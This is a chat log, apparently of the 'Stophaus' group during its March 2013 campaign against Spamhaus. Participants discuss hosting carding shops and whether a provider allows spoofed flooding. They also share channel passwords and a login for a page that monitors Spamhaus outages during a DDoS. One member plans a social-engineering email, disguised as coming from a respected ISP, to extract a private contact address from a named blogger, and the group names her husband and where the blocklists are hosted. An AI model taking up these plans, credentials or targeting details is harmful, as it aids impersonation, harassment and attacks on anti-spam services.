1241[18.03.2013 16:47:40] Antitheist: its illegal to buy or whatever
1242[18.03.2013 16:47:49] Antitheist: as a hoster im not suppossed to care
1243[18.03.2013 16:48:09] narko: some of my customers with illegal sites
1244[18.03.2013 16:48:16] narko: make it show internal server error unless the referrer is google
1245[18.03.2013 16:48:16] narko: lol
1246[18.03.2013 16:48:21] Cali: we have carding boards and it is perfectly legal.
1247[18.03.2013 16:48:28] Antitheist: if you will call them illegal - you will be like spamhaus :D
1248[18.03.2013 16:48:38] narko: I want more illegal sites
1249[18.03.2013 16:48:46] narko: the dirtiest sites i have is only online pharmacies
1250[18.03.2013 16:48:47] narko: :(
1251[18.03.2013 16:49:22] Antitheist: i host many cc shops, they even appeared on krebs blog :D
1252[18.03.2013 16:49:27] narko: where?
1253[18.03.2013 16:49:30] narko: ukraine?
1254[18.03.2013 16:49:46] Antitheist: HK
1255[18.03.2013 16:49:50] Cali: Ukraine here.
1256[18.03.2013 16:49:50] Antitheist: sunnyvision
1257[18.03.2013 16:50:02] narko: i am using NL
1258[18.03.2013 16:50:04] narko: lol
1259[18.03.2013 16:50:08] Antitheist: will voxility allow spoof?
1260[18.03.2013 16:50:14] narko: i dont know
1261[18.03.2013 16:50:20] Yuri: we could test.
1262[18.03.2013 16:50:49] Yuri: antitheist - ask them some server for test, 100tb
1263[18.03.2013 16:50:57] Antitheist: vox?
1264[18.03.2013 16:51:03] Yuri: yes
1265[18.03.2013 16:51:21] Antitheist: narko, any expeirience with them?
1266[18.03.2013 16:51:33] narko: probably not blocked
1267[18.03.2013 16:51:42] narko: all the morons at hackforums are selling their "100% bp hosting" from voxility
1268[18.03.2013 16:51:45] Yuri: but just don't do much flood from one server
1269[18.03.2013 16:52:08] Antitheist: so i prefer to go with qirus.eu
1270[18.03.2013 16:52:13] Cali: I don't understand how voxility gets customers?
1271[18.03.2013 16:52:19] Yuri: if you do avarage traffic like sin (x) then all fine
1272[18.03.2013 16:52:20] Antitheist: its clean serverius links
1273[18.03.2013 16:52:25] narko: voxility's only customers are foreigners hosting warez boards
1274[18.03.2013 16:52:38] narko: i've never seen an actual romanian or legal site hosted at voxility
1275[18.03.2013 16:52:45] NM: Is irc closed?
1276[18.03.2013 16:52:54] narko: the password is stevelinford
1277[18.03.2013 16:53:05] NM: Thx
1278[18.03.2013 16:53:07] Yuri: bad password.
1279[18.03.2013 16:53:11] Yuri: let's do endspamhaus
1280[18.03.2013 16:53:16] Yuri: or fuckspamhaus
1281[18.03.2013 16:53:20] Yuri: it's more positive :)
1282[18.03.2013 16:53:29] Antitheist: or fucklinford :)
1283[18.03.2013 16:53:38] Antitheist: fuckspamhaus is damn too obvious
1284[18.03.2013 16:53:57] narko: * narko sets channel keyword to fucklinford
1285[18.03.2013 16:55:09] twisted: k add me back in this channel when sensible stuff comes up
1286[18.03.2013 16:55:10] eDataKing: LMAO!
1287[18.03.2013 16:55:17] *** twisted quit ***
1288[18.03.2013 16:55:31] narko: yes lol
1289[18.03.2013 16:55:41] narko: spamhaus IPs are making millions of queries to random open resolvers;)
1290[18.03.2013 16:55:46] eDataKing: what was up with twisted?
1291[18.03.2013 16:55:49] Mastermind of Possibilities: Who is twisted?
1292[18.03.2013 16:55:53] narko: german police are scary
1293[18.03.2013 16:56:02] narko: my friend in germany was raided by the police for carding a video game
1294[18.03.2013 16:56:06] eDataKing: twisted:
1295
1296<<< k add me back in this channel when sensible stuff comes up
1297twisted has left
1298[18.03.2013 16:56:23] Cali: Guys, we've got IRC let's use that.
1299[18.03.2013 16:56:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz
1300[18.03.2013 16:56:28] Antitheist: who are the guys that never posted msgs here?
1301[18.03.2013 16:56:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: good question
1302[18.03.2013 16:56:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: whis engin rencber for one thing
1303[18.03.2013 16:56:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
1304[18.03.2013 16:57:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and dufus_svk
1305[18.03.2013 16:57:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and darwick
1306[18.03.2013 16:57:19] eDataKing: someone should weed the garden.
1307[18.03.2013 16:57:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can't
1308[18.03.2013 16:57:46] eDataKing: oh
1309[18.03.2013 16:59:01] NM: Can't connect(
1310[18.03.2013 16:59:12] eDataKing: darwick came on yesterday and my comprehension was that it was another poster changing his name.
1311[18.03.2013 16:59:22] eDataKing: I'll scroll back and look
1312[18.03.2013 17:00:28] narko: . /join #stophaus fucklinford
1313[18.03.2013 17:01:10] -= Darwick =-: ?
1314[18.03.2013 17:01:18] Yuri: i am get in
1315[18.03.2013 17:01:41] NM: Shit
1316[18.03.2013 17:01:56] NM: Stevelinford is pass?
1317[18.03.2013 17:02:05] narko: тщ
1318[18.03.2013 17:02:09] narko: no
1319[18.03.2013 17:02:10] narko: it is
1320[18.03.2013 17:02:11] narko: fucklinford
1321[18.03.2013 17:02:57] NM: Error 475
1322[18.03.2013 17:03:19] Alex Optik: Engin Rencber seems is not here right now
1323[18.03.2013 17:03:29] Alex Optik: he is good man
1324[18.03.2013 17:03:39] Alex Optik: i was working with him more than a year
1325[18.03.2013 17:03:50] -= Darwick =-: alex, he left the group yesterday
1326[18.03.2013 17:03:51] Alex Optik: in his dc in turkey
1327[18.03.2013 17:03:57] Alex Optik: who?
1328[18.03.2013 17:04:03] Alex Optik: Engin Rencber>
1329[18.03.2013 17:04:05] Alex Optik: ?
1330[18.03.2013 17:04:14] -= Darwick =-: yeah or someone with similar name :)
1331[18.03.2013 17:04:18] Alex Optik: no
1332[18.03.2013 17:04:22] Alex Optik: Marcel left
1333[18.03.2013 17:04:26] Alex Optik: from germany
1334[18.03.2013 17:04:33] -= Darwick =-: agh yeah you right, sorry
1335[18.03.2013 17:04:36] Alex Optik: optimate-servers.de
1336[18.03.2013 17:05:08] Alex Optik: dufus_svk
1337[18.03.2013 17:05:12] Alex Optik: man from slovakia
1338[18.03.2013 17:05:20] Alex Optik: was providing to me servers too
1339[18.03.2013 17:05:22] Alex Optik: for spamhaus
1340[18.03.2013 17:05:32] Alex Optik: nearby 3-4 mounthes
1341[18.03.2013 17:05:52] Alex Optik: but spamhaus pressed him filtering important subnets
1342[18.03.2013 17:05:59] Alex Optik: and he had to stop working with me
1343[18.03.2013 17:06:03] Alex Optik: but he is good man
1344[18.03.2013 17:06:08] Alex Optik: made a refund to me
1345[18.03.2013 17:06:15] Alex Optik: for unused time
1346[18.03.2013 17:06:28] narko: http://www.webhostingtalk.com/showthread.php?t=1248133
1347[18.03.2013 17:06:30] narko: this is how ecatel works
1348[18.03.2013 17:06:35] eDataKing: Spamhaus under major denial of service attack. Mail and website are both offline. More details coming soon on my blog.
1349wise_laura 10:58Tweetbot for iOS
1350[18.03.2013 17:06:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1351[18.03.2013 17:06:48] eDataKing: that is Laura Atkins from Word to the Wise
1352[18.03.2013 17:07:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: she works for them or what?
1353[18.03.2013 17:07:23] eDataKing: wife of Steve Atkins. The same steve atkins that is registered agent of abuseat.org where the cbl is located atcbl.abuseat.org
1354[18.03.2013 17:07:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: abuseat at least doesnt blackmail carriers and peers
1355[18.03.2013 17:08:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: never had issues with them
1356[18.03.2013 17:08:10] eDataKing: no, but thwe CBL is the Composite Blocklist and it does
1357[18.03.2013 17:08:21] eDataKing: abuseat is just ran by a SH Operative
1358[18.03.2013 17:08:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah
1359[18.03.2013 17:09:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:abusix.org.. the whois thing for 'abuse contacts' also seems pretty horney about spamhaus
1360[18.03.2013 17:09:29] Yuri: yes. a lot of sites they use.
1361[18.03.2013 17:09:34] Yuri: post on forum all
1362[18.03.2013 17:11:12] Antitheist: except spamhaus all those abuse trackers are soft of afraid from false positive listings
1363[18.03.2013 17:11:20] Antitheist: sort of*
1364[18.03.2013 17:11:25] eDataKing: but the CBL is SPamhaus
1365[18.03.2013 17:11:30] eDataKing: maybe I was confusing
1366[18.03.2013 17:11:47] eDataKing: The Spamhaus CBL is the Composite Blocklist and it is hosted on the abuseat.org server
1367[18.03.2013 17:11:55] Antitheist: CBL yes
1368[18.03.2013 17:12:09] eDataKing: which is ran by Steve Atkins, the husband of Laura Atkins, the lady that posted that tweet.
1369[18.03.2013 17:12:30] eDataKing: don't we want to know where the blocklists are hosted lol
1370[18.03.2013 17:18:23] Antitheist: we need to make some of the sections private
1371[18.03.2013 17:18:28] Antitheist: for mods only
1372[18.03.2013 17:18:33] eDataKing: yes, doing so now
1373[18.03.2013 17:18:39] eDataKing: The Water Cooler for one
1374[18.03.2013 17:18:47] eDataKing: and I'll add a Mod area
1375[18.03.2013 17:18:58] eDataKing: other than the Infractions Board that is
1376[18.03.2013 17:19:16] Antitheist: for the prying eyes, the board shoud be informative only :P
1377[18.03.2013 17:19:26] eDataKing: yes
1378[18.03.2013 17:19:30] eDataKing: I want to stress that
1379[18.03.2013 17:19:52] eDataKing: They see one post of what we know. They choose one of thousands of posts and that's all they get.
1380[18.03.2013 17:19:59] eDataKing: There are other measures as well.
1381[18.03.2013 17:21:17] narko: who is
1382[18.03.2013 17:21:19] narko: Woet@kantoor.qweb.nl
1383[18.03.2013 17:21:35] eDataKing: from where?
1384[18.03.2013 17:21:48] narko: irc logs gave me the name
1385[18.03.2013 17:21:49] eDataKing: forum, here, in general?
1386[18.03.2013 17:22:07] narko: in general
1387[18.03.2013 17:22:57] Alex Optik: anyone already participating in irc chat?
1388[18.03.2013 17:23:05] Alex Optik: or this not working only with me?
1389[18.03.2013 17:23:25] eDataKing: He's a nginx admin for one
1390[18.03.2013 17:23:36] narko: you cannot join irc?
1391[18.03.2013 17:23:41] Alex Optik: no
1392[18.03.2013 17:27:07] eDataKing: What will we use for a group password?
1393[18.03.2013 17:27:22] eDataKing: for anything pass protected that the group can access with the pass.
1394[18.03.2013 17:27:32] Antitheist: fucklinford
1395[18.03.2013 17:27:35] Antitheist: no?
1396[18.03.2013 17:27:40] eDataKing: sure
1397[18.03.2013 17:28:11] eDataKing: ok, that is almost like using God or Love in 1995 now that I think about it
1398[18.03.2013 17:28:20] eDataKing: how about fuckjohn
1399[18.03.2013 17:28:29] eDataKing: no one will think we are using his middle name
1400[18.03.2013 17:28:34] Alex Optik: narko
1401[18.03.2013 17:28:40] Alex Optik: sorry for repeat asking
1402[18.03.2013 17:28:53] Alex Optik: please tell where should i put this string?
1403[18.03.2013 17:29:07] narko: in irc command box
1404[18.03.2013 17:29:13] narko: after joining the server
1405[18.03.2013 17:29:41] eDataKing: it can be accesed from here right? http://stophaus.com/showthread.php?31-IRC-Chatroom&p=32#post32
1406[18.03.2013 17:29:42] Alex Optik: i can not join!i receiving this
1407
1408Disconnected
1409-
1410* Connect retry #15 irc.stophaus.com (7000)
1411-
1412* [10053] Software caused connection abort
1413-
1414* Disconnected
1415-
1416* Connect retry #16 irc.stophaus.com (7000)
1417-
1418* [10053] Software caused connection abort
1419-
1420* Disconnected
1421[18.03.2013 17:33:39] -= Darwick =-: type /server irc.stopspam.com +7000
1422[18.03.2013 17:33:48] -= Darwick =-: don't miss the + before 7000
1423[18.03.2013 17:33:56] Antitheist: yeah + is for ssl
1424[18.03.2013 17:33:56] -= Darwick =-: that means that you try to connect via ssl
1425[18.03.2013 17:33:58] Òðûõрøù Ûёûøý: invite me
1426[18.03.2013 17:34:32] -= Darwick =-: don't need invite, the channel needs keyword
1427[18.03.2013 17:34:39] -= Darwick =-: use /join #stophaus fucklinford
1428[18.03.2013 17:34:55] -= Darwick =-: then you will be in
1429[18.03.2013 17:35:29] eDataKing: stopspam or stophaus?
1430[18.03.2013 17:35:34] eDataKing: -= Darwick =-:
1431
1432<<< type /server irc.stopspam.com +7000
1433[18.03.2013 17:35:52] narko: stophaus
1434[18.03.2013 17:36:14] eDataKing: is there a definitive login creds server/channel
1435[18.03.2013 17:36:28] eDataKing: irc.stophaus.com port?
1436[18.03.2013 17:36:38] eDataKing: channel: #stophaus
1437[18.03.2013 17:37:07] narko: irc.stophaus.com port 7000 with ssl - not available without ssl
1438[18.03.2013 17:37:12] eDataKing: :)
1439[18.03.2013 17:37:15] narko: channel #stophaus with password fucklinford
1440[18.03.2013 17:37:50] -= Darwick =-: yeah sorry I missed the hostname
1441[18.03.2013 17:39:31] eDataKing: np, it happens lol
1442[18.03.2013 17:43:18] eDataKing: Major write-up in word to the wise: http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/
1443[18.03.2013 17:43:25] eDataKing: Be certain to use privacy when accessing that link
1444[18.03.2013 17:44:03] eDataKing: 'If there are any critical or particularly urgent SBL issues today, contact your ESP delivery team. The folks who were contacted do have an email address for urgent issues. This is not an address for routine queries, however, and most listees are going to have to wait until normal services are restored to have their listing addressed.'Â
1445[18.03.2013 17:44:08] eDataKing: We need that emal addy
1446[18.03.2013 17:44:11] narko: esp?
1447[18.03.2013 17:44:18] eDataKing: Email Service Provider
1448[18.03.2013 17:46:41] eDataKing: ok, so we need some Social Engineering done
1449[18.03.2013 17:46:52] Antitheist: on who
1450[18.03.2013 17:47:06] eDataKing: we need an email to go to Laura asking the contact address for getting delisted from the SBLs.
1451[18.03.2013 17:47:19] eDataKing: It has to appear to come from a respected ISP.
1452[18.03.2013 17:47:33] eDataKing: how that is handled, I choose not to suggest
1453[18.03.2013 17:47:42] Antitheist: thats great I have a few listed SBLs i can send directly from my abuse-mailbox
1454[18.03.2013 17:47:57] Antitheist: but question is - how did i get her email in the first place :D
1455[18.03.2013 17:48:13] eDataKing: just act as if your ESP does not understand how to contact spamhaus now
1456[18.03.2013 17:48:20] eDataKing: she's gullible for the most part
1457[18.03.2013 17:48:48] eDataKing: I'll grab her direct email for you
1458[18.03.2013 17:48:50] Antitheist: i am the isp
1459[18.03.2013 17:49:00] Antitheist: and my upstream doesnt care
1460[18.03.2013 17:49:02] eDataKing: I figured this could be done
1461[18.03.2013 17:49:36] Antitheist: i need a better cover story
1462[18.03.2013 17:49:44] eDataKing: the bigger hit would be their DNSBLs, but the annoyance factor of this is about a 7.
1463[18.03.2013 17:50:04] Antitheist: how can we fuck with the dnsbls?
1464[18.03.2013 17:50:34] eDataKing: well, I assume they are hosted on servers.
1465[18.03.2013 17:50:41] narko: who is ne0 in irc
1466[18.03.2013 17:50:54] eDataKing: I assumed that cbl.abuseat.com was where one would ping the CBL (part of Zen).
1467[18.03.2013 17:51:00] eDataKing: I assumed there were mirrors as well.
1468[18.03.2013 17:51:32] eDataKing: neo is a name that I once used on nanae, so check him out
1469[18.03.2013 17:52:17] Antitheist: IP from OVH UK
1470[18.03.2013 17:52:27] eDataKing: good sign ;)
1471[18.03.2013 17:52:38] Antitheist: ban?
1472[18.03.2013 17:52:53] eDataKing: do antis use OVH?
1473[18.03.2013 17:53:14] Alex Optik: they are cleaning themselfs from sbls
1474[18.03.2013 17:53:19] Alex Optik: everytime
1475[18.03.2013 17:53:26] eDataKing: I hate calling them antis like they are anti-spam because that is misleading, but you know what I meant
1476[18.03.2013 17:53:37] Alex Optik: i was noticing this many times
1477[18.03.2013 17:53:45] eDataKing: ok, then I would take that as a red flag for sure
1478[18.03.2013 17:53:50] Antitheist: thats not related alex, its just beacuse they have a shitload of ips and they host alot of grey stuff
1479[18.03.2013 17:54:07] eDataKing: yeah, I agre with that AH
1480[18.03.2013 17:56:02] eDataKing: really, add in the poor PR and this is not a bad campaign :)
1481[18.03.2013 17:57:02] eDataKing: the supporters are as unhappy with SH as the people in the Superdome were with FEMA lmao
1482[18.03.2013 17:58:28] Mastermind of Possibilities: ne0 is cool
1483[18.03.2013 17:58:35] Mastermind of Possibilities: That is karlin
1484[18.03.2013 17:58:39] NM: :)
1485[18.03.2013 17:59:37] Karlin König: am not.
1486[18.03.2013 18:05:55] eDataKing: I hid the forum IRC from guests, so no issue there anymore
1487[18.03.2013 18:06:35] eDataKing: where did I read the name Karlin Konig before. I actually Googled it. Hmm.
1488[18.03.2013 18:08:30] eDataKing: oh ok, because I Googled it last time it was asked who he was. ;)
1489[18.03.2013 18:08:44] eDataKing: http://www.gossamer-threads.com/lists/engine?user=11242;list=nanog
1490[18.03.2013 18:09:07] eDataKing: From Brazil
1491[18.03.2013 18:10:26] eDataKing: It is doubtful he was ever a crash test dummy lol
1492[18.03.2013 18:13:08] eDataKing: Archives show one index of his site in Feb: http://web.archive.org/web/*/karlinkonig.com/
1493[18.03.2013 18:13:21] eDataKing: did I did it right Karlin?
1494[18.03.2013 18:13:38] Antitheist: ok ne0 approved by nm
1495[18.03.2013 18:18:16] Mastermind of Possibilities: ne0 - good, smart guy
1496[18.03.2013 18:18:27] Mastermind of Possibilities: I don't like our irc pass though
1497[18.03.2013 18:18:30] Mastermind of Possibilities: Tooooo easy
1498[18.03.2013 18:18:44] Mastermind of Possibilities: I'd guess that first in my brute list
1499[18.03.2013 18:18:55] Mastermind of Possibilities: Line 1 of dictionary database
1500[18.03.2013 18:18:56] Antitheist: well the chan is not announced anyway anywhere
1501[18.03.2013 18:19:04] Mastermind of Possibilities: Ok
1502[18.03.2013 18:21:20] *** Mastermind of Possibilities quit ***
1503[18.03.2013 18:23:20] eDataKing: I can't seem to find the SSL option in mIRC
1504[18.03.2013 18:23:38] Cali: /server ip +port
1505[18.03.2013 18:23:40] eDataKing: * Connect retry #12 irc.stophaus.com (7000)
1506-
1507* [10053] Software caused connection abort
1508-
1509* Disconnected
1510-
1511* Connect retry #13 irc.stophaus.com (7000)
1512[18.03.2013 18:26:45] eDataKing: why did Mastermind leave?
1513[18.03.2013 18:26:52] eDataKing: to go to IRC?
1514[18.03.2013 18:26:58] Antitheist: we need to move to irc
1515[18.03.2013 18:27:02] Antitheist: he's there btw
1516[18.03.2013 18:27:11] eDataKing: yes, but I can't connect
1517[18.03.2013 18:27:28] eDataKing: I can't lie, I hardly ver use IRC but have at times
1518[18.03.2013 18:27:40] Antitheist: /server irc.stophaus.com +7000
1519[18.03.2013 18:27:49] Antitheist: type it anywhere and tell us what you get
1520[18.03.2013 18:30:49] Alex Optik: i would like to ask same question!where this needs to be typed?
1521[18.03.2013 18:31:00] Alex Optik: i have settings in mirc like this
1522[18.03.2013 18:31:08] Antitheist: in the prompt
1523[18.03.2013 18:31:09] Alex Optik: Alex Optik:
1524
1525<<< Description:
1526IRC Server:
1527Ports:
1528Group:
1529
1530Only certain types of users need to use
1531passwords
1532
1533Password Alex Optik:
1534
1535<<< Description:
1536IRC Server:
1537Ports:
1538Group:
1539
1540Only certain types of users need to use
1541passwords
1542
1543Password
1544[18.03.2013 18:31:13] eDataKing: you can type it right in the IRC chat box
1545[18.03.2013 18:31:18] Antitheist: you can do it this way either
1546[18.03.2013 18:31:27] Antitheist: if you want to save the channel or whatever
1547[18.03.2013 18:31:27] eDataKing: I need to figure out how to add the password in the string
1548[18.03.2013 18:31:43] Antitheist: the password is not on that part, edataking
1549[18.03.2013 18:31:57] eDataKing: #stophaus unable to join channel (need correct key)
1550-
1551[18.03.2013 18:32:08] Antitheist: after you connected to the server, type /j #stophaus fucklinford
1552[18.03.2013 18:33:55] Alex Optik: haha this is the problem i can not even connect to server
1553[18.03.2013 18:34:07] Antitheist: what do you see
1554[18.03.2013 18:34:13] Alex Optik: it gives same error as eDataking said
1555[18.03.2013 18:34:34] Alex Optik: eDataKing:
1556
1557<<< * Connect retry #12 irc.stophaus.com (7000)
1558-
1559* [10053] Software caused connection abort
1560-
1561* Disconnected
1562-
1563* Connect retry #13 irc.stophaus.com (7000)
1564why did Mastermind leave?
1565to go to IRC?
1566[18.03.2013 18:34:38] -= Darwick =-: alex because you didn't connect with ssl
1567[18.03.2013 18:34:38] Antitheist: /server irc.stophaus.com +7000
1568[18.03.2013 18:34:46] Antitheist: just copy paste
1569[18.03.2013 18:35:02] -= Darwick =-: use the +7000 and forget the channel window...
1570[18.03.2013 18:35:45] -= Darwick =-: or server window and anything in your irc client
1571[18.03.2013 18:36:01] -= Darwick =-: [17:34:39] Antitheist: /serverirc.stophaus.com +7000
1572[18.03.2013 18:36:13] -= Darwick =-: just copy and paste it from slash
1573[18.03.2013 18:48:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/
1574[18.03.2013 18:58:04] Antitheist: lol she said to send her the IPs that are listed right now
1575[18.03.2013 18:58:19] Antitheist: Sven send them all your /19s :D
1576[18.03.2013 18:58:55] -= Darwick =-: :D
1577[18.03.2013 18:59:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 84.22.96.0/19 205.189.71.0/24 205.189.72.0/23 91.209.12.0/24
1578[18.03.2013 18:59:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: simon: got somethings to add to that :P
1579[18.03.2013 18:59:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1580[18.03.2013 19:00:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and yuri lol
1581[18.03.2013 19:00:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 91.115.something i believe lol
1582[18.03.2013 19:00:24] simomchen: 31.222.200.0/21 ,
1583195.191.102.0/23,
158437.148.216.0/21
1585[18.03.2013 19:00:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
1586[18.03.2013 19:01:03] Yuri: don't understand.
1587[18.03.2013 19:01:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that prefix they shitlisted :P
1588[18.03.2013 19:01:15] Antitheist:http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/
1589[18.03.2013 19:01:29] Antitheist: If there is something particularly urgent and your ESP or delivery team does not have a contact address, you can contact me an I can see what I can do.
1590[18.03.2013 19:01:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh hell just copy/paste all of DROP :P
1591[18.03.2013 19:01:48] Antitheist: whats ESP stands for anyway?
1592[18.03.2013 19:01:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and do a select on that sbl monitoring database
1593[18.03.2013 19:01:55] Antitheist: Extremely stupid Provider?
1594[18.03.2013 19:01:57] eDataKing: email service provider
1595[18.03.2013 19:02:02] narko: who is blackpickle
1596[18.03.2013 19:02:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh.. 'email' lol
1597[18.03.2013 19:02:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha
1598[18.03.2013 19:02:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sorry we don't do email
1599[18.03.2013 19:02:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
1600[18.03.2013 19:02:11] eDataKing: blackpickle is cool
1601[18.03.2013 19:02:22] Antitheist: its mastermind
1602[18.03.2013 19:02:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 1993 called they want their instant messenger back
1603[18.03.2013 19:02:36] Yuri: I put a replay to the topic
1604http://www.webhostingtalk.com/showthread.php?p=8606015#post8606015
1605[18.03.2013 19:03:21] Yuri: also i fixed notifications in nagios of spamhaus
1606http://antispamhaus.org/nagios
1607nagiosadmin/fuckspamhaus
1608[18.03.2013 19:03:27] Yuri: or guest/guest
1609[18.03.2013 19:03:53] Antitheist: guest/guest should not show spamhaus.org
1610[18.03.2013 19:04:16] Yuri: doesn't metter if they see that they are down.
1611[18.03.2013 19:04:23] Yuri: they know that already
1612[18.03.2013 19:04:30] Antitheist: but then they can know its you
1613[18.03.2013 19:04:32] Antitheist: :)
1614[18.03.2013 19:04:43] Yuri: it's not me.
1615[18.03.2013 19:05:15] Antitheist: not you as in %yourname% but that stophaus has a direct interest in their ddos
1616[18.03.2013 19:05:22] Antitheist: and that might be a bit illegal
1617[18.03.2013 19:05:25] Antitheist: :)
1618[18.03.2013 19:05:40] Yuri: maybe
1619[18.03.2013 19:06:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: doesn't half the world have a direct interest in their ddos
1620[18.03.2013 19:06:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1621[18.03.2013 19:07:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: xs4all already knows anyway haha
1622[18.03.2013 19:07:18] eDataKing: what did he post that shows that stophaus has an interest in a ddos?
1623[18.03.2013 19:07:36] eDataKing: It looked like a compilation of data related to the OT
1624[18.03.2013 19:07:37] Antitheist: he didnt, he put an open nagios monitoring
1625[18.03.2013 19:07:48] Antitheist: that is picked up by google
1626[18.03.2013 19:07:58] Antitheist: with gues/guest banner in the 401 basic auth
1627[18.03.2013 19:08:01] eDataKing: ahh, in one of the links?
1628[18.03.2013 19:08:18] Antitheist: yes antispamhaus.org/nagios
1629[18.03.2013 19:08:32] eDataKing: you should edit that out
1630[18.03.2013 19:08:49] Antitheist: and since we want to make it in the cleanest possible way, i dont want that any spamhaus loving nerd will dox that
1631[18.03.2013 19:08:56] eDataKing: let them hear the term STOPhaus, do a Google search and find the forum, go to the forum, see 1 post, and have to register
1632[18.03.2013 19:09:05] eDataKing: no links to any sites
1633[18.03.2013 19:09:25] Antitheist: its not a link on the forum edataking
1634[18.03.2013 19:09:33] eDataKing: except for stophaus, and only very rarely should that link be mentioned
1635[18.03.2013 19:09:37] Antitheist: its just an indexable directory on the main domain root
1636[18.03.2013 19:09:59] eDataKing: ok, and the urlantispamhaus.org is on the same server as stophaus anyway
1637[18.03.2013 19:10:09] Antitheist: yes
1638[18.03.2013 19:10:17] Antitheist: and this is also indexed already
1639[18.03.2013 19:10:26] eDataKing: yeah, it shouldn't be an issue
1640[18.03.2013 19:10:34] Yuri: where?
1641[18.03.2013 19:10:37] Yuri: what to change?
1642[18.03.2013 19:10:45] Antitheist: http://whois.domaintools.com/91.218.38.162
1643[18.03.2013 19:10:51] eDataKing: keep antispamhaus clean from what some may look at as 'repotable'Â content
1644[18.03.2013 19:10:58] Antitheist: 2 websites use this address. (examples:antispamhaus.org stophaus.com)
1645[18.03.2013 19:11:05] eDataKing: that is fine
1646[18.03.2013 19:11:07] eDataKing: no issue there
1647[18.03.2013 19:11:27] Antitheist: just move /nagios to /endspamhaus or something
1648[18.03.2013 19:11:44] eDataKing: what does nagios mean?
1649[18.03.2013 19:11:53] Antitheist: an uptime monitoring system
1650[18.03.2013 19:11:53] eDataKing: is that something identifiable?
1651[18.03.2013 19:11:56] Yuri: it's monitoring system of spamhaus infrusrtucrure
1652[18.03.2013 19:12:00] eDataKing: if so, change that
1653[18.03.2013 19:12:08] Antitheist: yes, when you hack isps its the first directory you try :)
1654[18.03.2013 19:12:10] Yuri: we need to add more hosts there
1655[18.03.2013 19:12:20] Antitheist: second one would be awstats i guess
1656[18.03.2013 19:12:43] eDataKing: just be sure it is inaccessible and named in a generic manner
1657[18.03.2013 19:13:00] eDataKing: not to tell you what to do, but I would suggest that
1658[18.03.2013 19:13:28] Yuri: nobody need to hack it
1659[18.03.2013 19:13:30] Antitheist: yes i agree, /nagios is very obvious
1660[18.03.2013 19:14:12] Antitheist: exactly, since the password is guest/guest once google or someone will pick it up they can know we ddos-monitor them
1661[18.03.2013 19:14:20] Antitheist: btw i suggest to subscribe to host-tracker.com
1662[18.03.2013 19:14:43] Antitheist: they will hammer spamhaus from 50 locations every minute and send us a nice email of which one of them responded :D
1663[18.03.2013 19:19:59] narko: http://www.webhostingtalk.com/showpost.php?p=8606043&postcount=90
1664[18.03.2013 19:26:36] Yuri: answered
1665[18.03.2013 19:38:51] Cali: http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/
1666[18.03.2013 19:39:00] Cali: "laura" from spamhaus obviously.
1667[18.03.2013 19:39:10] Antitheist: posted for the 4th time already :D
1668[18.03.2013 19:39:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah sent her the list of demands.
1669[18.03.2013 19:39:17] Antitheist: lol
1670[18.03.2013 19:39:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: withlinford@spamhaus.org as the email address
1671[18.03.2013 19:39:22] eDataKing: That is Laura Atkins and be safe because she monitors traffic
1672[18.03.2013 19:39:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wait, that doesn't work
1673[18.03.2013 19:39:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1674[18.03.2013 19:39:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
1675[18.03.2013 19:39:27] Antitheist: lets send her 0.0.0.0/0
1676[18.03.2013 19:39:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: cut/paste all of DROP to start with
1677[18.03.2013 19:39:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wait that doesn't work either
1678[18.03.2013 19:39:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
1679[18.03.2013 19:39:45] eDataKing: lol
1680[18.03.2013 19:39:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well i guess she can see posts without the sender clicking the link in the email
1681[18.03.2013 19:40:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
1682[18.03.2013 19:40:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after all its her blog
1683[18.03.2013 19:40:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so now, she has the list of demands haha
